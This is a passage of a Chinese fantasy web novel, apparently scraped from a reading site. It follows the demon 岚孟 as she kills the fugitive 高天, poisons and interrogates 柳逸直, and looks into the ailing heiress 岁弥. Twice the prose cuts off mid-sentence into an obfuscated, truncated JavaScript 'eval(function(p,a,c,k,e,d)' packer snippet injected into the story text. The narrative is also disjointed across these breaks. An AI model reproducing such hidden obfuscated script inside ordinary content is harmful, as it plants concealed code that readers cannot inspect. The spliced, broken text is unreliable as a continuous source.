西明夫人气鼓鼓道:“岁弥!你怎么能和陌生人说话!小心她是个坏人!” 岚孟点头道:“你没说错,我确实是个坏人,专杀你这样迷惑人心的小妖怪。”她朝红衣娘子张开五指,眼神如狼似虎,仿佛下一秒就要将可怜的小妖剥皮抽筋、吞吃入腹。 西明夫人吓得飞快往后退,将自己严丝合缝贴在了墙壁上,活像个红色的大扑棱蛾子。 岚孟弯唇笑了一下。她拾起案上的纯白面具,问道:“这东西你从哪得来的?” 岁弥老实道:“是府中家丁送我的。” 岚孟打量了一下她身上的锦衣月袍,心道原来是个富家小姐。 她解释道:“这面具是魅妖用自己的皮肉做的,戴久了你就摘不下来了,是个邪物,我就没收了。”她将面具收进了芥子袋里。 岁弥“啊”了一声,面露遗憾,“好,好吧。” 观音庙外,柳逸直见庙中一直没有动静,便推开大门走了进去,才发现大殿里两妖一人相谈正欢。 西明夫人见到有年轻男子进来顿时来了兴趣,围着他转圈圈,“奴家西明,家住介城梧桐山观音庙,这位公子,敢问你贵姓啊?有婚配否?” 柳逸直瞥她一眼:“西明夫人?长明灯成精?方才那铜片不会是你身体的一部分吧?” “自然不是,这庙里就奴家一人修成了妖身,那铜片是从其他不争气的姐妹身上拔下来的,嘻嘻~”西明夫人以袖掩面笑嘻嘻道。 “公子,你还没回答奴家的问题呢!” 柳逸直反问:“我为什么要回答你一个来路不明的精怪的问题?” 西明夫人嘟着嘴生气道:“什么来路不明的精怪!奴家可是正儿八经的燧人氏后人!你信不信我现在就把‘燧明之书’叫出来让你开开眼!” 柳逸直愣了一下,继屏基山那夜以后,他还是第一次听到“燧明之书”的消息,难道不是燧人氏凤凰一脉也能召唤“燧明之书”? 岚孟没有错过柳逸直那一瞬间的惊愕。她很早就发现了,这人总是会在暗处盯着她的一举一动,她那时生怕暴露,只好按下不表。再结合他之前为她隐瞒暗算许渭的事情,岚孟心里有了个不好的猜测。 这时,她眼神忽然变得凌冽。从尚未收回来的象耳竺麻雀眼中,她看到了月牙下狂奔的黑衣人,赫然是潜逃多日的高天! 她猛地站了起来,只留下一句“高天现身了”便破窗而出。 柳逸直叮嘱岁弥尽快回家以后便循着闫扶音的踪迹追了出去,不出三息时间便看到了被打成了一片废墟的民宅。 好在这片区域早已荒废,并没有百姓被殃及池鱼。 远远地,他看见一灰一黑两道身影缠斗在一起。灰衣人自然是闫扶音,而黑衣人赫然便是被通缉的高天。 打斗声将城中的丹灵卫都吸引了过来,高天暗道不好,将一弹丸狠狠掷在地上,带着毒气的烟雾顿时弥漫开来,他趁乱跃过城墙逃了出去。 岚孟反应迅速,冲开烟雾追了上去。 柳逸直紧跟其后。 高天的修为在破妄境前期,速度极快,转眼之间便能掠出去百里,若不是柳逸直是风系修士,恐怕早就将人跟丢了。令他惊奇的是,闫扶音的速度竟然和高天不相上下。 柳逸直不禁有些好奇她的真身到底是何妖了。 高天一直逃到了千里之外,闪身钻进了一处山谷之中。 岚孟将商刀按进了刀鞘之中,然后“歘”地一声把参剑抽了出来,参剑上刻着难以觉察的霜花纹样,而在参剑出鞘的瞬间,四周的温度骤然低了几分。 她往粗壮的树干上踹了一脚,借着力道扑向高天,参剑擦着高天的背滑了出去,在他的右肩上划了一道血淋淋的口子。 岚孟在高天身前站定,堵住了他的去路,勾唇笑道:“接着跑啊,刚刚不是还挺能耐的?” 右肩伤口边缘处已经结了一层冰霜,高天只感觉整个右肩都迟钝了起来,他立即伸手捂上去,掌心化出灵力同那寒气对抗。 他喘着粗气道:“我并未得罪过阁下,为何要对我穷追不舍?” 岚孟单手挽了个剑花,仰头哈哈笑了三声,再低头对上他的眼睛,“也是,你还不知道我是谁吧?” 她闭了一下眼睛,再睁眼时,瞳孔已然变成了蔚蓝色,“如何,想起来了吗?” 高天怛然失色:“竟然是你?!” 躲在暗处的柳逸直眼神一凝。 这闫扶音到底是谁?为何高天只看她一眼就认出了她的身份?如此看来,闫扶音追杀高天绝对不是因为山到源下了通缉令,而是因为她和高天本来就有私仇。这也印证了柳逸直认为闫扶音在为尧玦报仇的猜测。 第一次见面时她也说过,自己有个丹灵卫亲戚,莫非这亲戚就是尧玦?她的真身难道是重明?那为何她的眼与发皆是蓝色? 由不得他多想,那两人已经又打了起来。高天是土系修士,唤出的土龙有着坚硬如铁的身躯,五条土龙攻势迅猛,将闫扶音压制在了离高天有着十丈远的地方。 然而闫扶音也不是软柿子,她手中的剑削铁如泥,所过之处皆会结成一层薄薄的冰霜,然而不论她斩去多少土龙的脑袋,高天都能重新聚土成龙,战斗一时间陷入了僵持。 不过,可不是只有闫扶音一人能战斗。 柳逸直躲在暗处,轻轻扇了扇玉白骨扇,林中便掀起了一阵狂风,风卷着枯枝落叶朝土龙袭去,本该无坚不摧的土龙被无形的风刃扎成了筛子,岚孟逮住机会,从土龙之间的空隙里穿了过去,握着参剑刺向土龙的主人。 然而高天的破妄境修为也不是丹药堆起来的,他经过数十年如一日的修炼,身经百战,沐浴过无数的鲜血,即使受了伤,他的实力也不容小觑。 只见他五指往虚空一抓,地上的碎石纷纷在他手中聚拢成了一柄严丝合缝的砍刀,带着万钧之力砍向自投罗网的岚孟。 岚孟灵活地旋身飞上空中,砍刀将地面砸出个深坑,岚孟在空中翻了个滚,落下来时足尖点在了砍刀的刀背之上,她挥着参剑狠狠扎入砍刀的缝隙之中,冰寒之气深入砍刀里,砍刀内部的孔隙被冰霜挤压填充,“轰”地一声炸成了细小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们?你们是哪种人?嫉妒他人比自己优秀,就要置他人于死地的人吗?”岚孟捂着脖子,边咳嗽边笑道。 “真是条可怜虫。” 真是条可怜虫…… 可怜虫…… 岚孟的声音如巨石重重击打在高天的心头,他怒不可遏,拎起拳头朝岚孟的面门挥去,然而距她仅一步之遥时,高天的身体忽然僵住了,他重重摔在了地上,两手紧紧按着胸口,口中吐出一串串白沫来。 “瞧你这可怜样哈哈哈!”岚孟仰头大笑,“没发现我在剑上抹了毒吧?” “愁断肠的滋味如何?心很痛吧?经脉是不是也火烧火燎的?疼就对了,若不是你一下子爆发了那么多灵力,愁断肠见效还不会这么快,等下了地狱,你得好好反省一番才是。” 毒素的入侵让高天四肢麻痹、动弹不得,他怎么也想不到自己竟然会败在一个闻道境的妖物手里,瞪得如灯笼的眼球里满是震惊、愤懑与不甘。 岚孟站了起来,走到高天跟前俯视着他:“别这么看我,下三滥的手段谁不会用?你害尧玦那一日,你就该清楚,我不可能会放过你,即便你逃到天涯海角,我也会杀了你,亲手将你送进无间地狱。” 她提着参剑在高天胸口上补了几刀,确定他已经死透了,才一把火将他烧了,仔细打扫了一下战场,确保没人能推测出来是她动的手,然后才望向不远处昏死过去的柳逸直,揪着他的衣领将他拖进了幽谷深处。 38. 明月泉 柳逸直从混沌中清醒过来。很快,他便确定自己尚在人间了——没有鬼差会用这种一扯就断的麻绳把鬼魂绑在树上。 他震碎麻绳,运转灵力检查了一下身体。内脏出血基本上已经止住了,五脏六腑均已归位,暂无性命之忧。唇舌还能感觉到几分苦涩,很显然,有人在他昏迷以后给他喂了药。 看天色和周围的环境,他失去意识最多一炷香时间,这里还是介城外面的山谷里,空气中的水汽要比方才浓郁得多,此地应当有水源。夜风传来讯息,他循着若有似无的水声走去。 视野逐渐开阔,林子深处有一个不小的湖泊,沉静的月光撒在湖面上,清风荡漾,层层叠叠的涟漪搅碎了明月的倒影。 哗啦啦的水声来源于湖畔的人。她背对着他,整个人都泡在湖水里,只露出一小截白皙的肩背,在朦胧月光下白得发光。黑发湿漉漉地搭在肩上,发丝隐映之下,好像有什么似金似红的东西。 柳逸直不由自主走近了几步,才看清那是一簇火红的羽毛。 羽毛? 这时,那人把转回了头,柳逸直对上了一双波澜不惊的黑眸,时间好像过了很久,又似乎只在一瞬之间,柳逸直发现那双平静的眼眸泛起了一丝涟漪,眼底似有笑意凝结。 他尚未反应过来那笑意意味着什么,她却缓缓站了起来,不着寸缕的后背浮出水面,一道狰狞的疤痕从右肩延伸到了左腰,火红金黄的羽毛覆盖其上,神秘又危险。 柳逸直这才意识到不妥,连忙用手捂住眼睛,转回身大步流星往外走,哗啦啦的水声传入他的耳中,柳逸直健步如飞。 很快柳逸直便走不动了——一根蔷薇藤将他捆在了树上,顶端的尖刺对准了他的脖颈。 轻缓的脚步声越来越近,柳逸直闭紧了双眼,却感觉柔顺的绸缎布料擦着他的手背一晃而过,来人停在了他的正对面。 岚孟道:“把眼睛睁开。” 柳逸直摇了摇头。 “我穿好衣服了。” 半晌,柳逸直才试探性地睁开了一只眼睛,瞄见她穿着一身宽松的月白衣裳,确实衣冠楚楚,遮得严严实实,他才放心地把另一只眼睛也睁开了。 然而在他睁开两眼的那一瞬间,泛着寒光的刀刃便对着他的眼睛刺了过来,柳逸直下意识闭上了眼睛,半晌也没感觉到疼,才又睁开了,发现那刀刃停在距离自己一寸远的地方。 岚孟面无表情质问道:“方才你看见了什么?” 柳逸直咽了咽口水道:“什么也没看见。”他缓缓把目光移开了。 笑话,这种时候肯定只能说啥也没看到好吧! 心里这么想着,脑海里却浮现了白皙的肩和火红的羽…… 岚孟捏着他的下巴将他的头转了过来,缠绕在他身上的蔷薇藤收紧了力道,她用商刀抵着他的心口,似笑非笑道:“你以为我会信?” 柳逸直看着她那张皮笑肉不笑的脸,心知她不再假装温和无害的小绵羊,是打算和他撕破脸皮了。可人为刀俎我为鱼肉,为了保住小命,柳逸直还是扬起笑脸,“闫师妹,你若是不放心,可以挖了我的眼睛。” “这双眼睛这么好看,挖了岂不是可惜?”岚孟笑道,“你回答我一个问题,我就放了你,怎么样?” 柳逸直镇定道:“什么问题?” “你身上的记忆封禁术,是什么时候解开的?” 眼瞳不由自主震动起来,柳逸直心下骇然,眼神飘忽不定,硬着头皮道:“什么记忆封禁术?闫师妹说这话我就听不懂了……” “看着我。”岚孟冷声道。 迫于压力,柳逸直对上了她的视线,却忽然发现她的眼睛不知何时变成了蓝色,同他在屏基山地宫里见到的还有所不同,蓝中带着三分紫,等他意识到不对劲的时候已经迟了。 “回答我,记忆封禁术何时解开的?” 他听见自己说:“八月十九。” 岚孟皱眉,那就是离开屏基山几天之后了。她料想过他可能早就已经恢复记忆了,却没想到竟是这般早。这岂不是说明,从他循着象耳竺麻雀抓到她那一刻开始,他就知道自己是屏基山那只妖了?难怪会帮她遮掩暗算过许渭的事情,敢情他早有预谋,就等着抓住她的狐狸尾巴了? 岚孟冷笑了一声,继续问道:“用什么解开的?” 柳逸直的嘴巴自己动了起来:“重明尾羽。” 岚孟怔住了,她确实猜测他或许有属于尧玦的物件,可她万万没想到竟然是尾羽。重明尾羽一千片,每一片都蕴含着尧玦的一分法力,是威力强大的无上至宝,难怪能解开记忆封禁术。 刚想再问他如何得到重明尾羽时,喉头却涌上了一抹腥甜,她用力咽了回去,闭了一下眼睛,眼瞳恢复了往日的黑色,然后松开了钳制着柳逸直下巴的手。 柳逸直这才发觉心脏被人握紧的感觉一下子消失了,他急促地喘气,冷汗沿着鬓角淌了下来,他笑道:“怎么不继续装了?” 岚孟瞥他一眼,“怎么,你希望我继续装下去?还是说,你还沉迷于‘师兄师妹’的扮演游戏无法自拔吗?” 她用刀背在柳逸直的胸膛上轻轻划动,勾唇笑道:“我说对了吗,逸直师兄?” 柳逸直别开了头。 逸直师兄。 从来没有师弟师妹这么叫过他。 她是第一个。 “可惜我已经玩腻了,你是聪明人,应该知道我接下来要做什么吧?” “杀人灭口?毕竟死人才不会说话。”柳逸直猜测道。 “答对了,但是在杀了你之前,我还有几个问题想要问你,你要是如实回答,我或许还能给你留个全尸。” 柳逸直看着她含笑的眼睛,忽而勾了勾唇,“方才摄取我的心神的时候怎么不问?现在我这张嘴里吐出来的可不能保证一定是实话。” “不如让我来猜一猜,你其实没有余力再用那个迷惑人的术法了吧?” “和高天打了那么久,就算顺利杀了他,看你的样子,想必也受了不轻的伤。这么说起来,要‘杀了我’的话估计也只是在虚张声势,虽然我修为不及你,但好歹也是知行大圆满,我若是拼死一搏,你也无法确定自己能不能全身而退吧?更何况介城的其他丹灵卫已经在来的路上了。” 岚孟哼了一声,反手把商刀插进了刀鞘里,退离几步靠在了另一棵树干上,双手环胸看着他道:“不错,我确实没那个力气杀了你。” 柳逸直松了一口气,他伸手指了指身上的蔷薇藤,“先把我放开如何?我们坐下来好好谈,我不会把你的身份说出去的,你要是有什么要求我也会尽力满足你。” “这个你不用担心,为了免得你告密,我在你身上下了毒。” 柳逸直脸 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柳逸直很想安慰自己这话绝对是危言耸听,可他也很清楚,面前这女人绝对做得出这样的事情来。 “你要问什么?” “很简单,”岚孟抽身离去,扭头看他:“重明的尾羽,你是从何处得来的?” 柳逸直坦白道:“十七年前,家父和我被狐妖掳到了青丘,就是尧玦把我们救下来的,当时他就给了我一片羽毛。” “你满意了吧?快把解药给我。” 岚孟狡黠一笑:“谁告诉你这毒有解药了?” “你!”柳逸直气得满脸通红,他就不该相信这家伙! 岚孟从芥子袋里取出一个瓷瓶来,在他眼前晃了晃道:“每七日服一次,可以延缓毒性的蔓延,要制作解药还缺一味药引,你就尽管去找吧,找不到就去死。” 柳逸直嘴角微抽。开玩笑的吧?这样的话,他岂不是每隔七天都得来找她拿一次解药?不,更坏的情况是,他会被她拴在身边,给她当牛做马,对她唯命是从……虽然他确实有心监视她,看她会弄个什么幺蛾子出来,但前提是她还在玩扮演游戏啊!现在都撕破脸了,他还玩个嘚儿! 岚孟抬眼往远处看去,道:“你的同伙就要来了。”她把瓷瓶收了起来,朝他道:“药引叫苍生泪。管好你的嘴,否则,你知道后果的。” 柳逸直只感觉脖子一凉。撕破脸以后她是一点也不端着了,威胁完他以后便转身欲走,柳逸直连忙道:“喂!拼上性命也要为他报仇,你到底是尧玦什么人!” 来介城之前,他去问过洛山和梁齐安,和尧玦关系亲近又实力高强的大妖不知凡几,但却无一能和眼前之人对得上。 岚孟的步伐顿了一下,扭头看了他一眼,眼中含笑:“这个问题的答案,不如你自己来找吧。” 远处传来一阵喧闹声,其他丹灵卫终于姗姗来迟,几乎是他们出现在柳逸直视野里的那一刻,捆绑着他的蔷薇藤忽然碎成了粉末。 “柳师兄,你没事吧!” 柳逸直拿手背擦了一下鬓角的汗,心道他没事,却又不能说完全没事。 手腕处长在血管上的花清晰又深刻,已经有他半个小臂那么长,若是放任不管的话,说不定再过半个月就能侵入心脉了吧。 苍生泪么…… 39. 琉璃瓶 躺在客栈里养了两天伤,岚孟终于抖擞精神出门寻找魅妖了。 在街上打听了一番,才知道那个叫岁弥的小姑娘是城中巨贾岁寒山的独女,自小体弱多病,甚少出现于人前,就因为她身子弱,还是个随时都可能翘辫子的药罐子,所以长到二十岁了还嫁不出去,是城里出了名的老姑娘了。 这就奇了怪了,岚孟心想。 那夜她在观音庙里遇见的岁弥看着不到十五岁,分明还是个没长开的小丫头。 岁府位于介城城北的朱衣巷,这里僻静清幽,巷内每一家都是高门邃宇、重堂轩道,是介城的达官贵人,一般的平头老百姓都不被允许踏进这巷子,唯恐他们身上的穷酸味染臭了空气、脚下的草鞋弄脏了昂贵的青玉石板铺成的地面。 因此守门的家丁也眼高于顶,拿着棍棒将岚孟赶了出来。 “去去去,哪里来的疯婆子。” 站在巷尾,岚孟低头看了看自己的衣服——黑衣简洁利落,靴子崭新,不沾一丝灰尘,在她看来十分得体。 她揪起衣领闻了闻,嗯,也没有专属于穷人的酸臭味。 ——所以那个看门的凭什么把她赶出来? 既然不让她从正大门进岁府,那她就只好走后门了——身形矫健的岚孟翻墙进了岁府后院。 她很快就找到了岁大小姐的院落。即使是寒冷干燥的冬月,这里也花团锦簇,温暖如春,屋外的地砖下面烧了无烟的木炭,热气沿着通道蔓延到屋子里,将整个房间都烘得暖暖的,即便只穿一件单衣也不会觉得冷。 岚孟正探头探脑打量这个又大又精致的院落时,岁弥惊讶的声音传入了她的耳中。 “闫姑娘?你是怎么进来的?” 岚孟朝声源方向看去,见岁弥站在花窗前,穿着一身柔顺泛光的丝绸襦裙,脸颊红润,气色比那夜好了很多。 岚孟翻过栏杆,从庭院中央通过,她大步走到了花窗前,看着岁弥的眼睛道:“失礼了,贵府守门的家丁不让我进来,我就只好翻墙了。” 岁弥面露笑容:“那是我们招待不周才是,家父出门做生意去了,府里只有我在,所以才不让外人进府。” “闫姑娘快进来吧。杏圆,去沏茶来。” 岚孟绕道从房门走了进去。 仿佛是生怕岁弥被冻坏一般,屋里热得让人汗流浃背,岚孟不耐地扯了扯衣领。 小丫鬟端了热茶过来放到岚孟面前的桌子上,退离时好奇地望了她一眼,岚孟弯唇笑了笑。 杏圆小跑着回到了岁弥的身后。 岚孟开门见山:“岁小姐,你还记得给你面具的家丁长什么模样吗?” 岁弥点了点头,“我记得,是个白白胖胖的男人。回府以后,我找过这个家丁,但是却没有找到。” “魅妖擅长变换容貌,你一下子就找到了才奇怪。”岚孟道,她想了想,要是让岁弥召集所有家丁,恐会打草惊蛇,还得她自己暗中查找才行。 “不知可否让我在府中观察一下?”岚孟问道。 “自然,咳咳……”岁弥掩唇咳嗽起来,咳得脸都红了,杏圆连忙抚着她的背给她顺气,良久,岁弥才止住了咳嗽,笑道:“自然可以,还请闫姑娘务必帮忙找出妖物,岁府会付您赏银的。” 岚孟推辞道:“赏银就不必了,更何况那魅妖说不定已经逃走了。” 岁弥身子骨弱,见不得冷风,让杏圆陪着岚孟在府中巡查。 “不知你家小姐是何病症?”岚孟问道。 杏圆答道:“回仙长,我家小姐是娘胎里带出来的心疾,找了许多名医都说没法子根治,只能用汤药温养着。” 岚孟点了点头。 虽然如此,但她总感觉岁弥身上有一种说不清道不明的违和感,也不知道是不是她多心了。 岚孟花了一个时辰见了岁府所有家丁,根本没发现魅妖的踪迹。这也算是意料之中,毕竟魅妖类人,头脑灵光得很,它也知道要是一直待在同一个地方,保不准那天就会被人发现破绽,所以魅妖时常变换样貌与身份,难以捕捉。 正当岚孟打算告辞的时候,忽然发现府中一个偏僻的角落被施加了强大的结界,走上前去查看时,杏圆却拦住了她,不容拒绝道:“仙长,午膳时间到了,小姐有请。” 岚孟看着那结界,心想这种高门大户,谁家没点见不得光的秘密?于是便顺着杏圆的心意离开了那院落。 岁府的膳食以清淡为主,虽然岚孟也吃过不少山珍海味,但不得不说岁府的素宴别有一番风味,她吃得很开心。 离开之前,她叮嘱岁弥道:“这几日我都会在介城,若是再遇到给你面具的人,或者有危险之事,你就喊我的名字,我会赶过来的。” 岁弥郑重地道了谢,目送岚孟跳墙离开了。 另一边,柳逸直也在奔波忙碌。 高天已死,丹灵卫们也算完成了任务,柳逸直有伤在身,便没有和他们一道离开,更何况他还中了那劳什子“花攀手”之毒。 这七天里,他问了好几个认识的医修,几乎都没听说过“花攀手”之毒,仅路央提起自己曾在某古籍上见过,说这两天比较忙,等有空的时候帮他翻找一下。 柳逸直悬着的心终于死了,老老实实回了介城。 他找到了坐在护城河边无所事事的闫扶音,臭着一张脸,朝她伸手,冷冰冰道:“药。” 岚孟瞥他一眼,翻出那个瓷瓶,以灵气抓了一颗丹药推了过去。 吃下那颗苦涩的药丸以后,柳逸直撩开袖子一看,已经蔓延到手肘的血线好像安分了下来,至少肉眼是看不出来什么异常。 他松了一口气。这闫扶音虽然卑劣,但也……算了,她也不是第一次耍他了,他实在是夸不出来。 “所以,什么是苍生泪?” “一滴生泪,二钱老泪,三分苦泪,四杯悔泪,五寸相思泪,六盅病中泪,七尺别离泪,八味孟婆伤心泪。”岚孟道。 柳逸直听得一愣一愣的,纳闷道:“且不说五寸、七尺要怎么丈量,这第八味孟婆伤心泪是怎么回事?” 岚孟:“我哪知道?人家就是这么说的。” 柳逸直:“……你什么都不知道还要让我找?” “那咋办?中毒的又不是我。”岚孟有恃无恐。 柳逸直自闭得蹲在了地上,双手抱住了脑袋。 老天爷唉,他这是造了什么孽啊…… 余光瞥见她伸长胳膊好像在接什么东西,柳逸直扭头望去,只见一滴水珠晃晃悠悠从空中飞来,落进了她手中的琉璃瓶里。 他朝水珠飞来的方向看去,只见不远处有一架马车,车旁有一对年迈的夫妻,正和一个年轻人说着什么,三个人抱在一起痛哭流涕,不多时,年轻人便驾着马车离开了。 又有一滴水珠飞来落进了琉璃瓶中。 柳逸直:“这是……别离泪?” 岚孟点了点头。琉璃瓶里已经有大半瓶眼泪了,这是她这一个多月的收获。每到一个城池,她就会像今天这样,蹲守在城外人们送别的地方收集眼泪。只是实在是不知道“七尺”的衡量标准到底是多少,要不就各来一瓶算了? 她从芥子袋里取出八个瓶子,上面分别写了八种眼泪的名字,她将瓶子朝柳逸直推了过去,道:“你看着去收集就行。” 柳逸直心想,看这情形,药引什么的都是借口,是她需要苍生泪才给他下毒,好让自己给她打白工吧? 岚孟站起身来,拍了拍沾了草屑的衣裳,提步欲走,柳逸直连忙叫住她:“你上哪去?” 岚孟瞥他一眼,没有隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“所以岁弥为什么要在这破庙假扮观音?” “这不是观音诞辰就要到了嘛,介城城守会挑选适龄女子扮作观音的模样,登花车游行,岁弥想去扮观音,所以就想了这么个办法。” “一年三个观音诞辰,不是早就过了吗?”岚孟疑惑道。 西明夫人睨她一眼,嗤道:“一看你就不是观音的信徒,连观音娘娘入海为神的日子都不知道。” 岚孟心道,她一个春神神使怎能改信观音?要传出去了,还不得被人笑掉大牙? “观音娘娘在十一月十九这天入海为神,从此以南海普陀作为为道场,普渡众生,行善天下,所以这一天也是观音诞。” 十九日么……今日已经是十二了,刚好还有七天时间。 “现在被你抢走了面具,岁弥也当不成观音了。”西明夫人长吁短叹,拿起帕子又哭了起来。 “照你这么说,倒是我的不是了?”岚孟不快道,“那魅妖面具可不是什么好东西,你也不怕她误入歧途。” 西明夫人骂道:“岁弥本来也就活不过这个冬天,在她死之前全了她的心愿才是正经,别上了黄泉路才知道后悔,你个小丫头片子懂什么!” “什么意思?”岚孟皱起眉,“岁弥要死了?” 这时,柳逸直的声音从外面传了进来。 西明夫人连忙飘出去迎接,她热情地朝柳逸直扑过去,“我的情郎……” 柳逸直闪身躲开,西明没能收住势,一头撞在了门板上。 柳逸直三两步窜到闫扶音身边,道:“我打听到了一些事情。” “五年前,岁弥差点死过一次。” 40. 老乞丐 和闫扶音分开以后,柳逸直径直出了城,来到了城外的破庙。 听说破庙里住了个古稀之年的老乞丐,经常风餐露宿、朝不保夕,他想着这样的人应该能收集到“老泪”,所以买了个烧鸡去找老乞丐。 老乞丐感动得涕泗横流,抱着烧鸡大快朵颐起来。 本来得了老泪以后柳逸直就打算离开了,但看着老乞丐那狼吞虎咽的模样,他生怕老人家被鸡骨头卡住脖子噎死,到时候就是他的罪过了,于是便留了下来。 好在老乞丐牙口还算不错,有惊无险地吃完了烧鸡。酒足饭饱之后,他主动和柳逸直攀谈起来,说到了二十年前他亲眼所见的一桩怪事。 那时他还不是乞丐,是个卖菜的,专门给朱衣巷的老爷府上送菜。还记得那是一个下雨天,他推着菜进了岁府后院的时候,看见丫鬟们一盆一盆往外端血水,可把他吓得不轻,朝管事打听了以后才知道岁老爷的夫人生孩子难产了,一天一夜过去也没把孩子生下来。 他浑身都湿透了,雨却越下越大,管事心善,留他在柴房里避雨,还给他生了个火盆。烤火真暖和呀,一不留神他就睡着了,等他从睡梦中醒过来的时候,天已经黑透了,大夫人已经把孩子生下来了,是个女娃娃,可惜她自己的命没保住。 他摸着黑走出了岁府,却发现有个家丁打扮的老头子鬼鬼祟祟提了个竹篮从岁府后院跑了出来,他察觉不对劲,悄悄跟了上去,发现那老东西把竹篮放进了河里就跑了。 他上前一看,才知道竹篮里装的不是别的,就是刚出生不过半天的岁家大小姐,小小的娃娃躺在襁褓里,连哭泣的力气都没有。 好在他刚把竹篮提上岸,岁寒山岁老爷就赶过来了。原来是岁家老太太嫌弃儿媳妇生了个没法继承家业的女娃娃,便让老家仆把亲孙女扔河里喂了鱼。 岁寒山对他千恩万谢,一口气给了他五十两银子,来感谢他救了自己的亲闺女。他心里那个高兴啊,一不留神就把自己得了五十两银子的事情抖了出去,让他那个嗜赌如命的败家儿子知道了。 后来的事情,用脚趾头想都想得出来了。 赌徒儿子偷了他的钱,还回来一屁股债。他卖了牛卖了房才把钱还上,儿子跑了,他也成了穷光蛋,送菜的差事也黄了,他流落街头,成了一个老乞丐。 就这样穷困潦倒要了十五年的饭,老乞丐又一次见到了岁弥,还是在那条河里。只可惜他年老体弱,要是踏进冷冰冰的河里,不死也得丢了半条命,他喊破了喉咙,终于有路人下河把岁弥捞了上来,她那小脸惨白,也不知道是死了还是活着。 后来才知道这事还是岁家的死老太太造的孽。 岁弥的身子骨是出了名的弱,见不得风,使不得力。那天,岁寒山外出做生意去了,家里只有老太太和岁弥,祖孙俩不知道为了什么事情大吵了一架,老太太打了她一巴掌,岁弥就跑出了家门,结果失足掉进了河里。 寻常人在凉得刺骨的秋水里泡半个时辰,可能在床上躺个十天八天的也就生龙活虎了,可谁让她岁弥是个弱不惊风的药罐子呢?这么一冻一泡,可不得翘辫子么? 过了快一个月,岁府也没有发丧,都说岁大小姐又活过来了。根据岁府下人的说法,是有好心的仙师路过,道岁弥命不该绝,才把她从阎王爷手里抢了回来。 老乞丐不知道什么仙师,却也高兴岁弥平安无事。所以要是遇到特别投缘的人,他就会把这话当笑谈说给人家听。 可五年过去,他都没有遇到特别有缘之人,所以柳逸直是这个故事的第一个听众。 – “我就说岁弥怎么怪怪的……”岚孟呢喃道,她看向西明夫人,“你知道个中缘由吗?” 西明夫人翘起二郎腿,傲娇道:“你问了,奴家就要告诉你啊?真没礼貌。” 岚孟又拿出一个玄灵果来。 西明夫人咽了咽口水,把身子转了过去,硬气道:“奴家才不稀罕你的臭果子!” 岚孟:“……你刚刚不还爱若珍宝吗?” 柳逸直忍俊不禁。 她也有吃瘪的时候啊,哈哈。 西明夫人从桌子上飘了下来,朝柳逸直伸出手,媚眼如丝道:“只要公子你能和奴家一度春宵,奴家什么都肯说……” 柳逸直“嗖”地一声躲到了岚孟身后,面无表情道:“我拒绝。” 西明夫人气得跺了跺脚,“真是不识风情,难怪你长这么大了连个女人都没有!” 柳逸直面上一僵。 他是被嘲笑了吗? “你这什么表情?”他一低头就对上了闫扶音的眼睛。 岚孟勾了勾唇,安慰道:“你放心,我不会笑话你的。” 柳逸直:“笑话我什么?” 岚孟直言不讳:“笑你是童子鸡。” 柳逸直双唇翕动半天也说不出一句话来。 西明夫人见不得男男女女在她面前打情骂俏,臭着脸朝岚孟伸手道:“果子。” 岚孟听话地把果子放进了她的掌心。 西明夫人又生气了:“你打发叫花子呢!” 岚孟识趣地又给了她两个。 两个玄灵果下肚,西明夫人才打开了话闸:“虽然我也不是很清楚岁弥靠什么东西来续命,但肯定和岁府的结界有关系,那里面可是了不得的东西。” 岚孟想起了岁府里坚如铜墙铁壁的结界,那里面果真有蹊跷,难怪岁弥的丫鬟不让她靠近。 岚孟动身前往岁府。 她扭头看向亦步亦趋跟在自己身后的某人,问道:“你也要去?” 柳逸直挑眉道:“怎么,我不可以去?” 岚孟闻到了浓重的火药味,不知道他在生气什么,转回头继续朝前走。 “随你。” 良久,她才听到身后之人带着疑惑的声音:“嗳,闫扶音,难道在你们妖族眼里,保持元阳之身的人,是会被看不起吗?” 这可把岚孟难住了。 “为什么这么问?” 柳逸直舔了舔嘴皮,“这不是因为被那小妖嘲笑了么,而且……” 岚孟:“而且?” “……其实,我之前也听一个妖族这么说过。” 虽说是陈年往事了,可实在是记忆犹新,一想起来就会让人头皮发麻。那时他刚刚考上丹灵卫不久,十五六岁的年纪,为了躲懒,他借口执行任务,从山到源一路往东游历各州,误入了妖族境地。 那会是春天,正是繁殖的季节。热情的狼妖大哥见他孤身一人,硬要为他找个伴,介绍了一干狼族女妖给他,个个身材火辣,热情得让人难以招架。 最后的结果当然是他落荒而逃。 好在这件事除了当时的狼族子弟,没有其他人知道。 岚孟微微仰头想了想,才道:“就我认识的妖族来说,大家对合修一事都挺乐意的,毕竟妖族不像人族一样,有着那么多的繁文缛节。人族即便是成了修行者,也放不开手脚,丧失了很多的快乐啊。” 最后一句话是今望月教的。 岚孟后退几步,在柳逸直肩上拍了拍,语重心长地说:“还是那句话,身而为人,你不必自卑。” 柳逸直:“……我没有自卑。” 他仔细品了品闫扶音的话,目光在她身上打量一番,问道:“那你又有几个相好?” 岚孟瞥他一眼,皱眉道:“我对男人没兴趣。” 柳逸直打破砂锅问到底:“为什么?” “我要男人干什么?没用的东西。” 柳逸直完全没想到是这样的理由,一时间不知道该说什么。 总不能大言不惭地说“男人也不都是没用的东西,比如我就很有用”吧? 虽然他只是在反驳她话里的漏洞,可这话听起来很是奇怪,简直就像是在求爱一样…… 为了避免说出惹人误会的话,柳逸直紧紧闭上了嘴。 话题到此结束。 两人很快便来到了朱衣巷。循着之前的记忆,岚孟带着柳逸直翻墙进了岁府的后宅,顺利来到了设有结界的院落,没有惊动任何人。 和那日有所不同的是,杏圆带着三个家丁守在了院落门口,谁在里面显而易见。 柳逸直把手放在结界上感受片刻,道:“若不想打草惊蛇,解开至少得花半个时辰。” 岚孟问:“那要是打草惊蛇呢?” 